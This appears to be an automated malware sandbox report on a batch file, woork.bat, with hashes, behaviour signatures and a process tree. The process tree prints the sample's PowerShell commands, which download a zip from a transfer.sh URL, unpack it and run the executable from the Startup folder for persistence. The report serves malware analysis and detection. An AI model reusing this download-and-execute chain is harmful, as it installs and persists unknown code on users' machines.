18b9fbc870d8ad4436dc177d00d67df1f71ceab03d558b53b6c8c7309c66b884

General

Target

woork.bat
Size

408B
MD5

d0c0cdc0fb8e18cec319416c4e45b142
SHA1

d9a9e5614e1fb05cafd7144893237b242a8d1a5f
SHA256

18b9fbc870d8ad4436dc177d00d67df1f71ceab03d558b53b6c8c7309c66b884
SHA512

e69f6b96f9a11a8d77dac1cd5ab1c7deb7a223b33cd085a321c4023bfaa7fb718022243e034d4580b55cf28d045a9b1262ceadf7a1e44e5ea364bdeab367ac3c

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	1764	powershell.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air.zip	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air\air.exe	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air\air.exe	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2544	air.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe
980	powershell.exe
980	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	980	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 908	1688	cmd.exe	87
PID 1688 wrote to memory of 908	1688	cmd.exe	87
PID 908 wrote to memory of 1764	908	cmd.exe	89
PID 908 wrote to memory of 1764	908	cmd.exe	89
PID 908 wrote to memory of 980	908	cmd.exe	90
PID 908 wrote to memory of 980	908	cmd.exe	90
PID 908 wrote to memory of 2544	908	cmd.exe	94
PID 908 wrote to memory of 2544	908	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\woork.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\woork.bat min
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Invoke-WebRequest -uri https://transfer.sh/get/D8bTsh/air.zip -o air.zip"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Expand-Archive air.zip"
    3⤵
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:980
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air\air.exe
    air.exe
    3⤵
    - Executes dropped EXE
    PID:2544

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
143a478fb47996f74bbbcdaa252b9e0b

SHA1
288893a45c1c50f8245a32aa06dfb1ac2ff31c83

SHA256
6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

SHA512
e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ztjopfhk.uho.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air.zip

Filesize
1014KB

MD5
7316a78466e90774ec7fe9ef3710fc33

SHA1
aee8d3cd79ada468b4afc48d7ad10cf6539136b7

SHA256
89d1a471dcbcadebc43a570a347cd8a31d7323cf70d266670af0fbe99a2a5cb1

SHA512
4ed13dad4075144951c6f7adbf22189cb9730b3f6add63f24ba750b8de26c315d4791d6a526b33612f5e70a8737d1c8b9a9f48e8bfbed5d82d51ce7f0a68cf26

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air\air.exe

Filesize
546.0MB

MD5
96e76869ca559f863971a6fd34a59880

SHA1
25e6a0aec1979ed0211f7a43169f84909768dc59

SHA256
a50226277ea1a7650f631a480215838dd804d8cfb053a1d19953adb016239472

SHA512
b790ec7f0d355300a6720c6335ba2935321ada6ba28a224a74880e3761de0a39931ea07f0ede69c957d89d1a15ea3f188e4a89d80dd5c283b9d2f74b30bd7bdd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\air\air.exe

Filesize
546.0MB

MD5
96e76869ca559f863971a6fd34a59880

SHA1
25e6a0aec1979ed0211f7a43169f84909768dc59

SHA256
a50226277ea1a7650f631a480215838dd804d8cfb053a1d19953adb016239472

SHA512
b790ec7f0d355300a6720c6335ba2935321ada6ba28a224a74880e3761de0a39931ea07f0ede69c957d89d1a15ea3f188e4a89d80dd5c283b9d2f74b30bd7bdd

Download Submit
memory/980-165-0x000001CEE4AA0000-0x000001CEE4AB0000-memory.dmp

Filesize
64KB

Download
memory/980-160-0x000001CEE5A10000-0x000001CEE5A22000-memory.dmp

Filesize
72KB

Download
memory/980-161-0x000001CEE5A00000-0x000001CEE5A0A000-memory.dmp

Filesize
40KB

Download
memory/980-163-0x000001CEE4AA0000-0x000001CEE4AB0000-memory.dmp

Filesize
64KB

Download
memory/980-164-0x000001CEE4AA0000-0x000001CEE4AB0000-memory.dmp

Filesize
64KB

Download
memory/1764-145-0x0000022A6AD00000-0x0000022A6AD10000-memory.dmp

Filesize
64KB

Download
memory/1764-138-0x0000022A6C5B0000-0x0000022A6C5D2000-memory.dmp

Filesize
136KB

Download
memory/1764-144-0x0000022A6AD00000-0x0000022A6AD10000-memory.dmp

Filesize
64KB

Download
memory/1764-143-0x0000022A6AD00000-0x0000022A6AD10000-memory.dmp

Filesize
64KB

Download
memory/2544-172-0x000001DF55D20000-0x000001DF55D36000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing